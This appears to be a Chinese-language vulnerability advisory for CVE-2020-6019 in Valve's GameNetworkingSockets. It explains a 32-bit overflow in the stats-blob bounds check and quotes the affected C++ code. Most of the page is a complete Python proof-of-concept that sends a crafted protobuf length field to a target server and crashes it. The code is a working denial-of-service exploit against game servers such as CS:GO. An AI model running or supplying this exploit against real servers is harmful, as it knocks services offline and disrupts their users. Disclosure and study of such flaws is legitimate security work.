Valvesoftware ValveSoftware GameNetworkingSockets是美国维尔福(Valvesoftware)公司的一个用于游戏传递数据的传输层支持软件。 Valves Game Networking Sockets v1.2.0之前版本存在安全漏洞,该漏洞源于在函数CConnectionTransportUDPBase::Received Data()中不正确地处理内联统计消息,导致libprotobuf抛出异常并导致崩溃。
文件:steamnetworkingsockets\clientlib\steamnetworkingsockets_udp.cpp
函数:CConnectionTransportUDPBase::Received_Data()
连接协议支持作为传入消息头的一部分传输统计数据。
在准备解析protobuf编码的统计blob时,边界检查中有一个32位溢出:
pIn = DeserializeVarInt( pIn, pPktEnd, cbStatsMsgIn );
if ( pIn == NULL )
{
ReportBadUDPPacketFromConnectionPeer( "DataPacket", "Failed to varint decode size of stats blob" );
return;
}
// EI-DBG: Classic 32-bit overflow, and it turns out that CS:GO is 32bits (client & server).
// EI-DBG: Will lead to an error and raised exception in the ParseFromArray() method
if ( pIn + cbStatsMsgIn > pPktEnd )
{
ReportBadUDPPacketFromConnectionPeer( "DataPacket", "stats message size doesn't make sense. Stats message size %d, packet size %d", cbStatsMsgIn, cbPkt );
return;
}
if ( !msgStats.ParseFromArray( pIn, cbStatsMsgIn ) )
{
ReportBadUDPPacketFromConnectionPeer( "DataPacket", "protobuf failed to parse inline stats message" );
return;
}
CVE_2020_6019_PoC_32_bits.py:
#/usr/bin/python3
from elementals import Prompter
import logging
import sys
import socket
import struct
import steam_networking_sockets
####################
# Config Variables #
####################
VULNERABILITY_ID = "CVE-2020-6019 - 32 bits"
VULNERABILITY_DESC = "Exception raised when handling large 32-bit length field for incoming stats"
ENCRYPTION_TYPE = True
####################
# Global Variables #
####################
logger = None
##
# Trigger the vulnerability
##
def startExploit(socket_fd):
# build a protobuf blob to cause a 32-bit overflow
blob = bytes()
# Varint for the stats length
# Saw the protobuf raise the exception for it
wanted_length = 2 ** 32 - 0x4
while wanted_length > 0:
next_value = wanted_length >> 7
blob += struct.pack("B", (wanted_length & 0x7F) | (0x80 if next_value != 0 else 0x00))
wanted_length = next_value
# Unused length-delimited field to be "skipped" so to cause protobuf to complain about the negative size
blob += struct.pack("B", (5 << 3) | 2) # field number (5) is unused, and 2 is the wire_type for length-delimited
# Varint32 length for the "field"
wanted_length = 0x100
while wanted_length > 0:
next_value = wanted_length >> 7
blob += struct.pack("B", (wanted_length & 0x7F) | (0x80 if next_value != 0 else 0x00))
wanted_length = next_value
# we don't really need a message
msg = bytes()
steam_networking_sockets.connectionSend(socket_fd, msg, protobuf=blob)
##
# Prints the usage instructions
##
def printUsage(args):
print(f"Usage: {args[0]} <server_ip> <server port>")
print("Exiting")
exit(1)
##
# Main function (example)
##
def main(args):
global logger
# Check the arguments
if len(args) != 1 + 2:
print(f"Wrong amount of arguments, got {len(args) - 1}, expected 2.")
printUsage(args)
# parse the args
server_ip = args[1]
server_port = int(args[2])
# open the log
logger = Prompter(f"Exploit PoC - {VULNERABILITY_ID}", [("exploit_poc.log", "w", logging.DEBUG)], min_log_level=logging.DEBUG)
logger.info("Starting the exploit PoC:")
logger.addIndent()
logger.info(VULNERABILITY_ID)
logger.info(VULNERABILITY_DESC)
logger.removeIndent()
# create a Steam Sockets connection
socket_fd = steam_networking_sockets.createSteamConnection(server_ip, server_port, ENCRYPTION_TYPE, logger)
# start the attack
startExploit(socket_fd)
logger.info("Finished Successfully")
if __name__ == "__main__":
main(sys.argv)
ref:
https://cpr-zero.checkpoint.com/vulns/cprid-2161/